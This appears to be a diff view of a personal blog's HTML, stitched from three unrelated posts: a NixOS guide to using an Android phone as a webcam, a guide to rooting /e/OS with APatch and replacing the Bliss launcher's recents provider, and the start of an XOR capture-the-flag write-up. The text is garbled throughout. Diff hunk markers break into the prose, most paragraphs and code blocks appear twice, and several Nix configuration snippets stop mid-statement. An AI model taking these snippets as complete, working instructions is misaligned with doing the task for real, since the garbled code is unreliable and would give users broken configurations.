50-76t15-116q0-105-34-161-35-57-126-57zm1084 836q-90 0-154-42-65-42-99-114-35-72-35-162V767q0-91 35-162 34-72 99-114 64-42 154-42t155 42q64 42 99 114 34 72 34 162v866q0 90-34 162-35 72-99 114-65 42-155 42zm0-210q40 0 56-33 16-34 16-75V767q0-41-17-74-17-34-55-34-37 0-54 34-18 33-18 74v866q0 41 17 75 17 33 55 33zm890 194V687h-204V465h624v222h-204v1248zm828 0V465h216v608h168V465h216v1470h-216v-640h-168v640z"/></svg></a><nav><a style=--url:url(./github.svg) href=https://github.com/lavafroth aria-label=github target=_blank></a><a href=../../about/ aria-label=about style=--url:url(./about.svg)></a><a href=../../art/ aria-label=art style=--url:url(./art.svg)></a><a href=../../index.xml aria-label=rss style=--url:url(./rss.svg)></a><nav></header><main><hgroup data-pagefind-body><p data-pagefind-ignore><time>Mar 10, 2024 | 4 minutes read</time></p><h1 data-pagefind-meta=title>Using an Android Phone as a webcam in NixOS</h1></hgroup><section class=post-content data-pagefind-body><p>I recently had to attend an online meeting for a software development event.
While my PC did have a decent microphone, the built-in camera has been damaged to the extent that the best it can capture is this:</p><p><img src=../../pc-camera.avif alt="A blurry image taken from my scuffed camera"></p><p>No, it&rsquo;s not a close-up of the moon, it&rsquo;s the refraction caused by the scuffs to the lens plus other sciency stuff I&rsquo;m not qualified enough to explain to you.</p><p>I was aware that one can use ADB to use an Android phone&rsquo;s camera as a makeshift webcam. Since I would need this ability for any future meetings as well, it was worth having the functionality packaged into a one click tool.</p><p>Enter NixOS. I have praised NixOS before and I&rsquo;ll do it again because of the sheer ease with which it allows me to create desktop entries for small scripts.
This is going to be relevant later but I&rsquo;m going to assume that you&rsquo;re running NixOS with home-manager enabled if you&rsquo;re following along. First we have to <a href=https://developer.android.com/studio/debug/dev-options#enable>enable developer mode and USB debugging on our phone</a>.</p><p>To interact with our phone, we will need <code>adb</code> and <code>scrcpy</code> as dependencies.
If you have enabled flakes run the following:</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-sh data-lang=sh><span style=display:flex><span>nix shell nixpkgs#scrcpy nixpkgs#android-tools
</span></span></code></pre></div><p>If you don&rsquo;t have flakes enabled, run the following:</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-sh data-lang=sh><span style=display:flex><span>nix-shell -p scrcpy android-tools
</span></span></code></pre></div><p>Next, we connect our phone to our PC with a cable (or through ADB TCP/IP) and list all the cameras by running the following:</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-sh data-lang=sh><span style=display:flex><span>scrcpy --list-cameras
If you have enabled flakes run the following:</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-sh data-lang=sh><span style=display:flex><span>nix shell nixpkgs#scrcpy nixpkgs#android-tools
</span></span></code></pre></div><p>If you don&rsquo;t have flakes enabled, run the following:</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-sh data-lang=sh><span style=display:flex><span>nix-shell -p scrcpy android-tools
</span></span></code></pre></div><p>Next, we connect our phone to our PC with a cable (or through ADB TCP/IP) and list all the cameras by running the following:</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-sh data-lang=sh><span style=display:flex><span>scrcpy --list-cameras
</span></span></code></pre></div><p>You must allow any prompt on your phone requesting access to it from the
computer, after which, you should see an output like the following:</p><pre tabindex=0><code>[server] INFO: List of cameras:
--camera-id=0 (back, 4608x3456, fps=[10, 15, 24, 30])
@@ -17,7 +17,7 @@ computer, after which, you should see an output like the following:</p><pre tabi
--camera-id=5 (back, 4608x3456, fps=[10, 15, 24, 30])
--camera-id=6 (back, 4608x3456, fps=[10, 15, 24, 30])
--camera-id=7 (back, 4608x3456, fps=[10, 15, 24, 30])
</code></pre><p>Note down the number associated with the camera you want to use. Alternatively, you can also note whether the camera you wish to use is the front or the back camera.</p><p>Add the following to your <code>configuration.nix</code>:</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-nix data-lang=nix><span style=display:flex><span>boot <span style=color:#f92672>=</span> {
</code></pre><p>Note down the number associated with the camera you want to use. Alternatively, you can also note whether the camera you wish to use is the front or the back camera.</p><p>Add the following to your <code>configuration.nix</code>:</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-nix data-lang=nix><span style=display:flex><span>boot <span style=color:#f92672>=</span> {
</span></span><span style=display:flex><span> kernelModules <span style=color:#f92672>=</span> [ <span style=color:#e6db74>&#34;v4l2loopback&#34;</span> ];
</span></span><span style=display:flex><span> extraModulePackages <span style=color:#f92672>=</span> [ pkgs<span style=color:#f92672>.</span>linuxPackages<span style=color:#f92672>.</span>v4l2loopback ];
</span></span><span style=display:flex><span> extraModprobeConfig <span style=color:#f92672>=</span> <span style=color:#e6db74>&#39;&#39;
@@ -26,7 +26,7 @@ computer, after which, you should see an output like the following:</p><pre tabi
</span></span><span style=display:flex><span>};
</span></span></code></pre></div><p>This enables the <code>v4l2loopback</code> kernel module to create a dummy video interface which allows us to route any video to this virtual camera.
In the extra options for this module, we have to add <code>exclusive_caps=1</code> to make sure that the virtual camera exclusively announces itself as an output device.
This is important for compatibility with services like Zoom and Google Meet.</p><p>In the home-manager config for your user add the following:</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-nix data-lang=nix><span style=display:flex><span>home<span style=color:#f92672>.</span>xdg<span style=color:#f92672>.</span>desktopEntries<span style=color:#f92672>.</span>andcam <span style=color:#f92672>=</span> {
This is important for compatibility with services like Zoom and Google Meet.</p><p>In the home-manager config for your user add the following:</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-nix data-lang=nix><span style=display:flex><span>home<span style=color:#f92672>.</span>xdg<span style=color:#f92672>.</span>desktopEntries<span style=color:#f92672>.</span>andcam <span style=color:#f92672>=</span> {
</span></span><span style=display:flex><span> name <span style=color:#f92672>=</span> <span style=color:#e6db74>&#34;Android Virtual Camera&#34;</span>;
</span></span><span style=display:flex><span> exec <span style=color:#f92672>=</span> <span style=color:#e6db74>&#34;</span><span style=color:#e6db74>${</span>pkgs<span style=color:#f92672>.</span>writeScript <span style=color:#e6db74>&#34;andcam&#34;</span> <span style=color:#e6db74>&#39;&#39;
</span></span></span><span style=display:flex><span><span style=color:#e6db74> </span><span style=color:#e6db74>${</span>pkgs<span style=color:#f92672>.</span>android-tools<span style=color:#e6db74>}</span><span style=color:#e6db74>/bin/adb start-server
@@ -37,7 +37,7 @@ This is important for compatibility with services like Zoom and Google Meet.</p>
the script in the <code>exec</code> field.</p><p>Here&rsquo;s a breakdown of the script:</p><ul><li>The first line starts an ADB server required for <code>scrcpy</code> to pick up our device.</li><li>The second line runs <code>scrcpy</code> to pass the phone&rsquo;s camera to the dummy virtual camera spawned by the <code>v4l2loopback</code> kernel module.</li></ul><p>We can use a named camera with the <code>--camera-facing</code> flag as I did here for
the back camera using <code>--camera-facing=back</code>. If you noted a camera ID eariler,
you can replace the <code>--camera-facing=back</code> with <code>--camera-id=</code> followed by the
identifying number.</p><p>For example, if you were to use the camera with the ID 0, you would add the following instead:</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-nix data-lang=nix><span style=display:flex><span>home<span style=color:#f92672>.</span>xdg<span style=color:#f92672>.</span>desktopEntries<span style=color:#f92672>.</span>andcam <span style=color:#f92672>=</span> {
identifying number.</p><p>For example, if you were to use the camera with the ID 0, you would add the following instead:</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-nix data-lang=nix><span style=display:flex><span>home<span style=color:#f92672>.</span>xdg<span style=color:#f92672>.</span>desktopEntries<span style=color:#f92672>.</span>andcam <span style=color:#f92672>=</span> {
</span></span><span style=display:flex><span> name <span style=color:#f92672>=</span> <span style=color:#e6db74>&#34;Android Virtual Camera&#34;</span>;
</span></span><span style=display:flex><span> exec <span style=color:#f92672>=</span> <span style=color:#e6db74>&#34;</span><span style=color:#e6db74>${</span>pkgs<span style=color:#f92672>.</span>writeScript <span style=color:#e6db74>&#34;andcam&#34;</span> <span style=color:#e6db74>&#39;&#39;
</span></span></span><span style=display:flex><span><span style=color:#e6db74> </span><span style=color:#e6db74>${</span>pkgs<span style=color:#f92672>.</span>android-tools<span style=color:#e6db74>}</span><span style=color:#e6db74>/bin/adb start-server

View File

@@ -7,16 +7,16 @@ Icons can&rsquo;t be rearranged
Pull down from top opens search instead of notification shade
Consumes a lot of RAM
I started using Lawnchair as my default launcher but this did not change the recents provider (quickstep) from BlissLauncher to Lawnchair.'><meta name=author content><link rel="preload stylesheet" as=style href=https://lavafroth.is-a.dev/app.min.css><link rel=preload as=image href=../../header.svg><link as=font href=https://lavafroth.is-a.dev/latinmodern-math.otf><link rel=preload as=image href=https://lavafroth.is-a.dev/github.svg><link rel=preload as=image href=https://lavafroth.is-a.dev/about.svg><link rel=preload as=image href=https://lavafroth.is-a.dev/art.svg><link rel=preload as=image href=https://lavafroth.is-a.dev/rss.svg><link rel=icon href=https://lavafroth.is-a.dev/favicon.png><link rel=blog-icon href=https://lavafroth.is-a.dev/icon.png></head><body><header><a class=site-name href=https://lavafroth.is-a.dev/><svg viewBox="0 0 8790 2080"><path d="M80 1935V465h216v1270h286v2e2zm853 0 222-1470h264l222 1470h-210l-40-3e2h-208l-40 3e2zm280-528h148l-62-494-6-78h-12l-6 78zm1025 528L2014 465h210l108 868 8 142h12l8-142 108-868h210l-224 1470zm813 0 222-1470h264l222 1470h-210l-40-3e2h-208l-40 3e2zm280-528h148l-62-494-6-78h-12l-6 78zm851 528V465h514v222h-298v386h2e2v222h-2e2v640zm910 0V465h216q194 0 286 108 92 107 92 316 0 124-43 215-44 90-106 132l147 699h-216l-122-620h-38v620zm216-820q60 0 95-26 35-27 50-76t15-116q0-105-34-161-35-57-126-57zm1084 836q-90 0-154-42-65-42-99-114-35-72-35-162V767q0-91 35-162 34-72 99-114 64-42 154-42t155 42q64 42 99 114 34 72 34 162v866q0 90-34 162-35 72-99 114-65 42-155 42zm0-210q40 0 56-33 16-34 16-75V767q0-41-17-74-17-34-55-34-37 0-54 34-18 33-18 74v866q0 41 17 75 17 33 55 33zm890 194V687h-204V465h624v222h-204v1248zm828 0V465h216v608h168V465h216v1470h-216v-640h-168v640z"/></svg></a><nav><a style=--url:url(./github.svg) href=https://github.com/lavafroth aria-label=github target=_blank></a><a href=../../about/ aria-label=about style=--url:url(./about.svg)></a><a href=../../art/ aria-label=art style=--url:url(./art.svg)></a><a href=../../index.xml aria-label=rss style=--url:url(./rss.svg)></a><nav></header><main><hgroup data-pagefind-body><p data-pagefind-ignore><time>Aug 20, 2025 | 3 minutes read</time></p><h1 data-pagefind-meta=title>Guide: Changing Recents Provider on /e/OS</h1></hgroup><section class=post-content data-pagefind-body><h1 id=overview>Overview</h1><p>Over the past month I have been daily driving my new phone, the Nothing CMF 1 flashed with /e/OS after I unlocked its bootloader. It&rsquo;s a very pleasant experience except for the default Bliss launcher (home app).</p><p>Reasons I do not prefer it:</p><ul><li>iOS like feel</li><li>Icons can&rsquo;t be rearranged</li><li>Pull down from top opens search instead of notification shade</li><li>Consumes a lot of RAM</li></ul><p>I started using Lawnchair as my default launcher but this did not change the recents provider (quickstep) from BlissLauncher to Lawnchair.</p><p>Two problems with this:</p><ul><li>Bliss has to keep running in the background to act as the recents provider.</li><li>When the screen is horizontally oriented and gesture navigation is used to go to the home screen, Bliss keeps crashing.</li></ul><blockquote><p>Note for Bliss devs: This behavior only occurs when using a different launcher as default.</p></blockquote><p>I read a post on the forums about replacing Bliss completely but there was no step by step guide. Here, I document the steps I took to get Lawnchair as my default launcher <em>and</em> recents provider.</p><h1 id=guide>Guide</h1><p>This guide assumes you have a basic understanding of <code>adb</code> and <code>fastboot</code>. Ensure that USB debugging is enabled and your device is visible in the output of <code>adb devices</code>.</p><h2 id=apatch>Apatch</h2><h3 id=extracting-bootimg>Extracting <code>boot.img</code></h3><p>Assuming you have the image used to flash /e/OS on your phone, extract the <code>boot.img</code> from it. This can be done with the <code>7zip</code> command</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-sh data-lang=sh><span style=display:flex><span>7z e IMG-e-3.0.4-a14-20250708507308-official-tetris.zip -o. boot.img
I started using Lawnchair as my default launcher but this did not change the recents provider (quickstep) from BlissLauncher to Lawnchair.'><meta name=author content><link rel="preload stylesheet" as=style href=https://lavafroth.is-a.dev/app.min.css><link rel=preload as=image href=../../header.svg><link as=font href=https://lavafroth.is-a.dev/latinmodern-math.otf><link rel=preload as=image href=https://lavafroth.is-a.dev/github.svg><link rel=preload as=image href=https://lavafroth.is-a.dev/about.svg><link rel=preload as=image href=https://lavafroth.is-a.dev/art.svg><link rel=preload as=image href=https://lavafroth.is-a.dev/rss.svg><link rel=icon href=https://lavafroth.is-a.dev/favicon.png><link rel=blog-icon href=https://lavafroth.is-a.dev/icon.png></head><body><header><a class=site-name href=https://lavafroth.is-a.dev/><svg viewBox="0 0 8790 2080"><path d="M80 1935V465h216v1270h286v2e2zm853 0 222-1470h264l222 1470h-210l-40-3e2h-208l-40 3e2zm280-528h148l-62-494-6-78h-12l-6 78zm1025 528L2014 465h210l108 868 8 142h12l8-142 108-868h210l-224 1470zm813 0 222-1470h264l222 1470h-210l-40-3e2h-208l-40 3e2zm280-528h148l-62-494-6-78h-12l-6 78zm851 528V465h514v222h-298v386h2e2v222h-2e2v640zm910 0V465h216q194 0 286 108 92 107 92 316 0 124-43 215-44 90-106 132l147 699h-216l-122-620h-38v620zm216-820q60 0 95-26 35-27 50-76t15-116q0-105-34-161-35-57-126-57zm1084 836q-90 0-154-42-65-42-99-114-35-72-35-162V767q0-91 35-162 34-72 99-114 64-42 154-42t155 42q64 42 99 114 34 72 34 162v866q0 90-34 162-35 72-99 114-65 42-155 42zm0-210q40 0 56-33 16-34 16-75V767q0-41-17-74-17-34-55-34-37 0-54 34-18 33-18 74v866q0 41 17 75 17 33 55 33zm890 194V687h-204V465h624v222h-204v1248zm828 0V465h216v608h168V465h216v1470h-216v-640h-168v640z"/></svg></a><nav><a style=--url:url(./github.svg) href=https://github.com/lavafroth aria-label=github target=_blank></a><a href=../../about/ aria-label=about style=--url:url(./about.svg)></a><a href=../../art/ aria-label=art style=--url:url(./art.svg)></a><a href=../../index.xml aria-label=rss style=--url:url(./rss.svg)></a><nav></header><main><hgroup data-pagefind-body><p data-pagefind-ignore><time>Aug 20, 2025 | 3 minutes read</time></p><h1 data-pagefind-meta=title>Guide: Changing Recents Provider on /e/OS</h1></hgroup><section class=post-content data-pagefind-body><h1 id=overview>Overview</h1><p>Over the past month I have been daily driving my new phone, the Nothing CMF 1 flashed with /e/OS after I unlocked its bootloader. It&rsquo;s a very pleasant experience except for the default Bliss launcher (home app).</p><p>Reasons I do not prefer it:</p><ul><li>iOS like feel</li><li>Icons can&rsquo;t be rearranged</li><li>Pull down from top opens search instead of notification shade</li><li>Consumes a lot of RAM</li></ul><p>I started using Lawnchair as my default launcher but this did not change the recents provider (quickstep) from BlissLauncher to Lawnchair.</p><p>Two problems with this:</p><ul><li>Bliss has to keep running in the background to act as the recents provider.</li><li>When the screen is horizontally oriented and gesture navigation is used to go to the home screen, Bliss keeps crashing.</li></ul><blockquote><p>Note for Bliss devs: This behavior only occurs when using a different launcher as default.</p></blockquote><p>I read a post on the forums about replacing Bliss completely but there was no step by step guide. Here, I document the steps I took to get Lawnchair as my default launcher <em>and</em> recents provider.</p><h1 id=guide>Guide</h1><p>This guide assumes you have a basic understanding of <code>adb</code> and <code>fastboot</code>. Ensure that USB debugging is enabled and your device is visible in the output of <code>adb devices</code>.</p><h2 id=apatch>Apatch</h2><h3 id=extracting-bootimg>Extracting <code>boot.img</code></h3><p>Assuming you have the image used to flash /e/OS on your phone, extract the <code>boot.img</code> from it. This can be done with the <code>7zip</code> command</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-sh data-lang=sh><span style=display:flex><span>7z e IMG-e-3.0.4-a14-20250708507308-official-tetris.zip -o. boot.img
</span></span></code></pre></div><p>Here <code>IMG-e-3.0.4-a14-20250708507308-official-tetris.zip</code> is the image for my phone. Replace this with the appropriate image name.This extract the <code>boot.img</code> to the current directory.</p><p>Push this image to your device with</p><pre tabindex=0><code>adb push boot.img /storage/emulated/0/Download/
</code></pre><blockquote><p>NOTE: You could also push the image over MTP (file transfer) but it may corrupt files and is hence discouraged.</p></blockquote><h3 id=installing-apatch>Installing APatch</h3><p>These instructions are also available in the <a href=https://apatch.dev/install.html#install-requirements>APatch Docs</a>.</p><ol><li>Download the latest version of APatch Manager from <a href=https://github.com/bmax121/APatch/releases>GitHub</a>.</li><li>Click on the patch button at the top right corner, and click <code>Select a boot image to patch</code>.</li><li>Select the <code>boot.img</code> we pushed to the <code>Download</code> directory.</li><li>Set a SuperKey at &ldquo;SuperKey&rdquo; card. The SuperKey should be <strong>8-63 characters long and include numbers and letters, but no special characters.</strong> It will be used later to unlock root privileges.</li><li>Click on &ldquo;Start&rdquo; and wait for a minute. After the patch is successful, the patched <code>boot.img</code> path will be displayed. For example: <code>/storage/emulated/0/Download/apatch_version_version_randomletter.img</code>.</li></ol><h3 id=flashing>Flashing</h3><ol><li>Pull the patched <code>boot.img</code> with the command. Replace <code>apatch_version_version_randomletter.img</code> with the appropriate filename.</li></ol><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-sh data-lang=sh><span style=display:flex><span>adb pull /storage/emulated/0/Download/apatch_version_version_randomletter.img
</span></span></code></pre></div><ol start=2><li>Reboot into fastboot mode.</li></ol><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-sh data-lang=sh><span style=display:flex><span>adb reboot bootloader
</span></span></code></pre></div><ol start=3><li>Flash the patched <code>boot.img</code>.</li></ol><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-sh data-lang=sh><span style=display:flex><span>fastboot flash boot apatch_version_version_randomletter.img
</span></span></code></pre></div><ol start=4><li>Reboot the device</li></ol><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-sh data-lang=sh><span style=display:flex><span>fastboot reboot
</span></span></code></pre></div><h2 id=quickswitch>QuickSwitch</h2><h3 id=installation>Installation</h3><ol><li>Download the latest <code>zip</code> of QuickSwitch-fork to your phone from <a href=https://github.com/j7b3y/QuickSwitch/releases/latest>GitHub</a>.</li><li>Open the APatch app.</li><li>Authenticate with the SuperKey you had set earlier.</li><li>Enable <code>APModule</code>.</li><li>Under the <code>APModule</code> tab click on the install button in the bottom right corner.</li><li>Select the <code>QuickSwitch-fork.zip</code> you downloaded.</li><li>Reboot your device for the changes to take effect.</li></ol><h3 id=switching-the-recents-provider>Switching the Recents Provider</h3><p>In this step I am assuming you are using a launcher that supports QuickStep, as in, it can act as a recents provider.</p><p>I have tested this on Lawnchair 14.3 beta. DO NOT USE Lawnchair 15.1 beta, it&rsquo;s QuickStep provider is a bit buggy.</p><p>Get a shell on the phone with</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-sh data-lang=sh><span style=display:flex><span>adb shell
</span></span></code></pre></div><h3 id=inside-adb-shell>Inside <code>adb shell</code></h3><ol><li>Change the recents provider. Replace <code>app.lawnchair</code> with your launcher&rsquo;s package name.</li></ol><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-sh data-lang=sh><span style=display:flex><span>su -c /data/adb/modules/quickswitch/quickswitch --ch<span style=color:#f92672>=</span>app.lawnchair
</span></span></code></pre></div><ol start=2><li>(Optional) Remove Bliss launcher.</li></ol><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-sh data-lang=sh><span style=display:flex><span><span style=color:#66d9ef>for</span> pkg in <span style=color:#66d9ef>$(</span>pm list packages | grep bliss | cut -d: -f 2<span style=color:#66d9ef>)</span>; <span style=color:#66d9ef>do</span> pm uninstall --user <span style=color:#ae81ff>0</span> $pkg; <span style=color:#66d9ef>done</span>
</span></span></code></pre></div><ol start=3><li>Reboot the device.</li></ol><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-sh data-lang=sh><span style=display:flex><span>reboot
</code></pre><blockquote><p>NOTE: You could also push the image over MTP (file transfer) but it may corrupt files and is hence discouraged.</p></blockquote><h3 id=installing-apatch>Installing APatch</h3><p>These instructions are also available in the <a href=https://apatch.dev/install.html#install-requirements>APatch Docs</a>.</p><ol><li>Download the latest version of APatch Manager from <a href=https://github.com/bmax121/APatch/releases>GitHub</a>.</li><li>Click on the patch button at the top right corner, and click <code>Select a boot image to patch</code>.</li><li>Select the <code>boot.img</code> we pushed to the <code>Download</code> directory.</li><li>Set a SuperKey at &ldquo;SuperKey&rdquo; card. The SuperKey should be <strong>8-63 characters long and include numbers and letters, but no special characters.</strong> It will be used later to unlock root privileges.</li><li>Click on &ldquo;Start&rdquo; and wait for a minute. After the patch is successful, the patched <code>boot.img</code> path will be displayed. For example: <code>/storage/emulated/0/Download/apatch_version_version_randomletter.img</code>.</li></ol><h3 id=flashing>Flashing</h3><ol><li>Pull the patched <code>boot.img</code> with the command. Replace <code>apatch_version_version_randomletter.img</code> with the appropriate filename.</li></ol><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-sh data-lang=sh><span style=display:flex><span>adb pull /storage/emulated/0/Download/apatch_version_version_randomletter.img
</span></span></code></pre></div><ol start=2><li>Reboot into fastboot mode.</li></ol><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-sh data-lang=sh><span style=display:flex><span>adb reboot bootloader
</span></span></code></pre></div><ol start=3><li>Flash the patched <code>boot.img</code>.</li></ol><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-sh data-lang=sh><span style=display:flex><span>fastboot flash boot apatch_version_version_randomletter.img
</span></span></code></pre></div><ol start=4><li>Reboot the device</li></ol><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-sh data-lang=sh><span style=display:flex><span>fastboot reboot
</span></span></code></pre></div><h2 id=quickswitch>QuickSwitch</h2><h3 id=installation>Installation</h3><ol><li>Download the latest <code>zip</code> of QuickSwitch-fork to your phone from <a href=https://github.com/j7b3y/QuickSwitch/releases/latest>GitHub</a>.</li><li>Open the APatch app.</li><li>Authenticate with the SuperKey you had set earlier.</li><li>Enable <code>APModule</code>.</li><li>Under the <code>APModule</code> tab click on the install button in the bottom right corner.</li><li>Select the <code>QuickSwitch-fork.zip</code> you downloaded.</li><li>Reboot your device for the changes to take effect.</li></ol><h3 id=switching-the-recents-provider>Switching the Recents Provider</h3><p>In this step I am assuming you are using a launcher that supports QuickStep, as in, it can act as a recents provider.</p><p>I have tested this on Lawnchair 14.3 beta. DO NOT USE Lawnchair 15.1 beta, it&rsquo;s QuickStep provider is a bit buggy.</p><p>Get a shell on the phone with</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-sh data-lang=sh><span style=display:flex><span>adb shell
</span></span></code></pre></div><h3 id=inside-adb-shell>Inside <code>adb shell</code></h3><ol><li>Change the recents provider. Replace <code>app.lawnchair</code> with your launcher&rsquo;s package name.</li></ol><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-sh data-lang=sh><span style=display:flex><span>su -c /data/adb/modules/quickswitch/quickswitch --ch<span style=color:#f92672>=</span>app.lawnchair
</span></span></code></pre></div><ol start=2><li>(Optional) Remove Bliss launcher.</li></ol><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-sh data-lang=sh><span style=display:flex><span><span style=color:#66d9ef>for</span> pkg in <span style=color:#66d9ef>$(</span>pm list packages | grep bliss | cut -d: -f 2<span style=color:#66d9ef>)</span>; <span style=color:#66d9ef>do</span> pm uninstall --user <span style=color:#ae81ff>0</span> $pkg; <span style=color:#66d9ef>done</span>
</span></span></code></pre></div><ol start=3><li>Reboot the device.</li></ol><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-sh data-lang=sh><span style=display:flex><span>reboot
</span></span></code></pre></div><h2 id=profit>Profit!</h2><p>That&rsquo;s all there is to it. Now you should see you preferred app as the recents provider. Goodbye!</p></section><footer class=post-tags data-pagefind-meta=tags><a href=https://lavafroth.is-a.dev/tags/android class=list-tag>Android</a>
<a href=https://lavafroth.is-a.dev/tags/custom-rom class=list-tag>Custom ROM</a>
<a href=https://lavafroth.is-a.dev/tags//e/os class=list-tag>/e/OS</a>

View File

@@ -13,31 +13,31 @@ fn main() -> Result<(), Box<dyn std::error::Error>> {
println!("{:?}", stream);
Ok(())
}
To execute the code, issue the following.'><meta name=author content><link rel="preload stylesheet" as=style href=https://lavafroth.is-a.dev/app.min.css><link rel=preload as=image href=../../header.svg><link as=font href=https://lavafroth.is-a.dev/latinmodern-math.otf><link rel=preload as=image href=https://lavafroth.is-a.dev/github.svg><link rel=preload as=image href=https://lavafroth.is-a.dev/about.svg><link rel=preload as=image href=https://lavafroth.is-a.dev/art.svg><link rel=preload as=image href=https://lavafroth.is-a.dev/rss.svg><link rel=icon href=https://lavafroth.is-a.dev/favicon.png><link rel=blog-icon href=https://lavafroth.is-a.dev/icon.png></head><body><header><a class=site-name href=https://lavafroth.is-a.dev/><svg viewBox="0 0 8790 2080"><path d="M80 1935V465h216v1270h286v2e2zm853 0 222-1470h264l222 1470h-210l-40-3e2h-208l-40 3e2zm280-528h148l-62-494-6-78h-12l-6 78zm1025 528L2014 465h210l108 868 8 142h12l8-142 108-868h210l-224 1470zm813 0 222-1470h264l222 1470h-210l-40-3e2h-208l-40 3e2zm280-528h148l-62-494-6-78h-12l-6 78zm851 528V465h514v222h-298v386h2e2v222h-2e2v640zm910 0V465h216q194 0 286 108 92 107 92 316 0 124-43 215-44 90-106 132l147 699h-216l-122-620h-38v620zm216-820q60 0 95-26 35-27 50-76t15-116q0-105-34-161-35-57-126-57zm1084 836q-90 0-154-42-65-42-99-114-35-72-35-162V767q0-91 35-162 34-72 99-114 64-42 154-42t155 42q64 42 99 114 34 72 34 162v866q0 90-34 162-35 72-99 114-65 42-155 42zm0-210q40 0 56-33 16-34 16-75V767q0-41-17-74-17-34-55-34-37 0-54 34-18 33-18 74v866q0 41 17 75 17 33 55 33zm890 194V687h-204V465h624v222h-204v1248zm828 0V465h216v608h168V465h216v1470h-216v-640h-168v640z"/></svg></a><nav><a style=--url:url(./github.svg) href=https://github.com/lavafroth aria-label=github target=_blank></a><a href=../../about/ aria-label=about style=--url:url(./about.svg)></a><a href=../../art/ aria-label=art style=--url:url(./art.svg)></a><a href=../../index.xml aria-label=rss style=--url:url(./rss.svg)></a><nav></header><main><hgroup data-pagefind-body><p data-pagefind-ignore><time>Aug 24, 2023 | 2 minutes read</time></p><h1 data-pagefind-meta=title>Compact XOR</h1></hgroup><section class=post-content data-pagefind-body><h1 id=description>Description</h1><p>I found some hex in a file called fleg, but Im not sure how its encoded. Im pretty sure its some kind of xor…</p><h1 id=exploration>Exploration</h1><p>We begin by creating a new rust project.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-sh data-lang=sh><span style=display:flex><span>cargo new amateurs
